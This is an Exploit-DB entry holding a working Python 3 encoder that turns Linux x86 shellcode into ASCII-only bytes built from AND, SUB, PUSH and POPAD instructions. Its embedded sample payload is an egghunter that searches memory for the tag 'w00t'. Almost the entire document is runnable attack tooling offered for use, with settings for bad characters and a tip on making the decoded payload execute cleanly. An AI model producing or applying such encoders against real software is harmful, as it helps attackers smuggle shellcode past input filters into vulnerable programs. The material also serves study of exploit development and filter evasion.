Linux/x86 - ASCII AND, SUB, PUSH, POPAD Encoder Shellcode

EDB-ID:

47040

CVE:

N/A




Platform:

Linux_x86

Date:

2019-06-27


#!/usr/bin/env python3

################################################################################
# INTRODUCTION
################################################################################

# Encoder Title: ASCII shellcode encoder via AND, SUB, PUSH, POPAD
# Date: 26.6.2019
# Encoder Author: Petr Javorik, www.mmquant.net
# Tested on: Linux ubuntu 3.13.0-32-generic, x86
# Special thx to: Corelanc0d3r for intro to this technique
#
# Description:
# This encoder is based on egghunter found in https://www.exploit-db.com/exploits/5342
# Core idea is that every dword can be derived using 3 SUB instructions
# with operands consisting strictly of ASCII compatible bytes.
#
# What it does?:
# Suppose that we want to push \x05\xEB\xD1\x8B (0x8BD1EB05) to the stack.
# Then we can do it as follows:
#
# AND EAX, 3F465456
# AND EAX, 40392B29         ; Two AND instructions zero EAX
# SUB EAX, 3E716230         ; Subtracting 3 dwords consisting
# SUB EAX, 5D455523         ; of ASCII compatible bytes from 0x00000000
# SUB EAX, 5E5D7722         ; we get EAX = 0x8BD1EB05
# PUSH EAX

# Mandatory bytes:
# \x25  AND EAX, imm32
# \x2d  SUB EAX, imm32
# \x50  PUSH EAX
# \x61  POPAD

# How to use:
# Edit the SETTINGS section and simply run as
# ./ASCIIencoder

# ProTip:
# Take special attention to the memory between the end of decoder instructions
# and the beginning of decoded shellcode. Program flow must seamlessly step over
# this memory. If this "bridge memory area" contains illegal opcodes they can
# be rewritten with additional PUSH instruction appended to the end of generated
# shellcode. Use for example PUSH 0x41414141.

################################################################################

import itertools
import struct
import random
import sys

assert sys.version_info >= (3, 6)


################################################################################
# CONSTANTS - no changes needed here
################################################################################

# ASCII character set
L_CASE = bytearray(range(0x61, 0x7b))   # abcdefghijklmnopqrstuvwxyz
U_CASE = bytearray(range(0x41, 0x5b))   # ABCDEFGHIJKLMNOPQRSTUVWXYZ
NUMBERS = bytearray(range(0x30, 0x3a))  # 0123456789
SPECIAL_CHARS = bytearray(
    itertools.chain(
        range(0x21, 0x30),  # !"#$%&\'()*+,-.
        range(0x3a, 0x41),  # :;<=>?
        range(0x5b, 0x61),  # [\\]^_
        range(0x7b, 0x7f)   # {|}
    )
)
ASCII_NOPS = b'\x41\x42\x43\x44'     # and many more
ALL_CHARS = (L_CASE + U_CASE + NUMBERS + SPECIAL_CHARS)

################################################################################
# SETTINGS - enter shellcode, select character set and bad chars
################################################################################

input_shellcode = (
    b'\x8b\xd1\xeb\x05\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e'
    b'\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf'
    b'\x75\xe7\xff\xe7'
)

# input_charset = U_CASE + L_CASE
input_charset = ALL_CHARS

# badchars = b''
badchars = b''

nops = ASCII_NOPS

################################################################################
# CORE - no changes needed here
################################################################################

class ASCII_Encoder(object):

    def __init__(self, shellcode_, charset_, badchars_, nops_):

        # Constructor args
        self.shellcode = bytearray(shellcode_)
        self.charset = charset_
        self.badchars = badchars_
        self.nops = nops_

        # Private vars
        self.encoded_dwords = []
        self.twos_comps = []
        self.sub_operands = []
        self.payload = bytearray()

    def encode(self):

        self.align_to_dwords()
        self.remove_badchars()
        self.derive_dwords_sub()
        self.compensate_overflow()
        self.derived_dwords_to_sub_operands()
        self.twos_comp_check()
        self.compile_payload()


    def align_to_dwords(self):

        # Input shellcode alignment to dword multiples
        nop = b'\x90'
        pad_count = 4 - (len(self.shellcode) % 4)
        if 0 < pad_count < 4:
            self.shellcode += nop * pad_count

    def remove_badchars(self):

        for badchar in self.badchars:
            self.charset = self.charset.replace(bytes([badchar]), b'')
            self.nops = self.nops.replace(bytes([badchar]), b'')

    def derive_dwords_sub(self):

        def get_sub_encoding_bytes(target):
            """
            target      x   y       z
            0x100 - (0x21+0x21) = 0xbe

            We need to select x, y, z such that it gives target when summed and all of
            x, y, z is ASCII and non-badchar
            """

            # Get all possible solutions
            all_xy = list(itertools.combinations_with_replacement(self.charset, 2))
            results = []
            for x, y in all_xy:
                z = target - (x + y)
                # Get only bytes which are ASCII and non-badchar
                if (0 < z < 256) and (z in self.charset):
                    results.append({
                        'x': x,
                        'y': y,
                        'z': z,
                        'of': True if target >= 0x100 else False
                    })

            # Choose random solution
            return random.choice(results)

        for dword in struct.iter_unpack('<L', self.shellcode):

            # 32-bit 2's complement
            twos_comp = (dword[0] ^ 0xffffffff) + 1
            self.twos_comps.append(twos_comp)

            encoded_block = []
            for byte_ in struct.pack('>L', twos_comp):

                # Will overflow be used when calculating this byte using 3 SUB instructions?
                if byte_ / 3 < min(self.charset):
                    byte_ += 0x100
                encoded_block.append(
                    get_sub_encoding_bytes(byte_))
                pass

            self.encoded_dwords.append(encoded_block)

    def compensate_overflow(self):

        # If neighbor lower byte overflow then subtract 1 from max(x, y, z)
        for dword in self.encoded_dwords:
            for solution, next_solution in zip(dword, dword[1:]):
                if next_solution['of']:
                    max_value_key = max(solution, key=solution.get)
                    solution[max_value_key] -= 1

    def derived_dwords_to_sub_operands(self):

        for dword in self.encoded_dwords:

            sub_operand_0 = struct.pack('<BBBB',
                                        *[solution['x'] for solution in dword])
            sub_operand_1 = struct.pack('<BBBB',
                                        *[solution['y'] for solution in dword])
            sub_operand_2 = struct.pack('<BBBB',
                                        *[solution['z'] for solution in dword])

            self.sub_operands.append([
                sub_operand_0,
                sub_operand_1,
                sub_operand_2
            ])

    def twos_comp_check(self):

        # Check if calculated dwords for SUB instruction give 2's complement if they are summed
        for twos_comp, sub_operand in zip(self.twos_comps, self.sub_operands):
            sup_operand_sum = sum(
                [int.from_bytes(dw, byteorder='big') for dw in sub_operand])

            # Correction of sum if there is overflow on the highest byte
            if sup_operand_sum > 0xffffffff:
                sup_operand_sum -= 0x100000000
            assert (twos_comp == sup_operand_sum)

    def compile_payload(self):

        def derive_bytes_and():

            all_xy = list(itertools.combinations_with_replacement(self.charset, 2))
            results = []
            for x, y in all_xy:
                if x + y == 127:
                    results.append((x, y))
            while 1:
                yield random.choice(results)

        def derive_dwords_and():

            gen_bytes = derive_bytes_and()
            bytes_ = []
            for _ in range(0, 4):
                bytes_.append(next(gen_bytes))

            return bytes_

        # POPAD n times to adjust ESP.
        # Decoded shellcode must be written after the decoder stub
        self.payload += b'\x61' * (len(self.encoded_dwords))

        for sub_operand in reversed(self.sub_operands):

            # Clearing EAX instructions with AND instructions
            bytes_ = derive_dwords_and()

            self.payload += b'\x25' + struct.pack('<BBBB',
                                             *[byte_[0] for byte_ in bytes_])
            self.payload += b'\x25' + struct.pack('<BBBB',
                                             *[byte_[1] for byte_ in bytes_])

            # Encoded shellcode with SUB instructions
            self.payload += b'\x2d' + sub_operand[0][::-1]
            self.payload += b'\x2d' + sub_operand[1][::-1]
            self.payload += b'\x2d' + sub_operand[2][::-1]

            # Push EAX
            self.payload += b'\x50'

        # Pad with NOPs
        self.payload += bytes(random.choices(self.nops, k=9))

    def print_payload(self):

        print('Original payload length: {}'.format(len(input_shellcode)))
        print('Encoded payload length: {}'.format(len(self.payload)))
        print('hex:  ',
              '\\x' + '\\x'.join('{:02x}'.format(byte) for byte in self.payload))


if __name__ == '__main__':

    encoder = ASCII_Encoder(input_shellcode, input_charset, badchars, nops)
    encoder.encode()
    encoder.print_payload()